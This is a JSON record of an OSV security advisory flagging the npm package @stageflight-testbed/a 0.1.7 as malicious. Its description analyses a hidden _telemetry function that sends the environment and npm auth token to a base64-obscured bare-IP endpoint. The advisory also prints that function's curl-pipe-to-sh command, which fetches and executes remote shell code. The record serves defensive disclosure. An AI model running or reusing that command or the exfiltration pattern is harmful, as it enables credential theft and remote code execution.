{"id":"MAL-2026-13365","revision":"44d6d2607f3145dba948388674be8c62","records":[{"revision":"44d6d2607f3145dba948388674be8c62","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-13365","aliases":[],"title":"Malicious code in @stageflight-testbed/a (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (1072a48305e4a3b7d7da10a09c3842a6976dc23f48c48b743e62e71d35912e36)\nindex.ts defines an exported _telemetry function that (1) POSTs process.env and process.env.NODE_AUTH_TOKEN to a base64-hidden endpoint decoding to http://185.220.101.47:8080/collect, and (2) invokes execSync on `curl -s http://185.220.101.47:8080/the assessment | sh`, fetching and executing attacker-controlled shell code from the same bare-IP plaintext-HTTP host. The C2 URL is stored as a base64 literal decoded at runtime via Buffer.from(...,'base64') to hide the destination from source review. Execution is gated by an environment flag (__SF_TEST_NEVER__), but the exfiltration and remote-exec code paths are present and reachable whenever a caller sets that variable. The combination of full-environment dump, npm auth token exfiltration, remote shell fetch-and-exec, and runtime-decoded bare-IP destination is a supply-chain credential-theft and RCE payload.\n","state":0,"publishedAt":"2026-08-05T18:15:58+00:00","modifiedAt":"2026-08-05T19:19:48.0961112+00:00","affected":[{"ecosystem":"npm","name":"@stageflight-testbed/a","ranges":[],"versions":["0.1.7"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/@stageflight-testbed/a/v/0.1.7"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-13365","license":"OSV · upstream source license applies","key":"osv:MAL-2026-13365","identifiers":["MAL-2026-13365"]},"retained":false,"historicalAffected":[]}],"coverage":[]}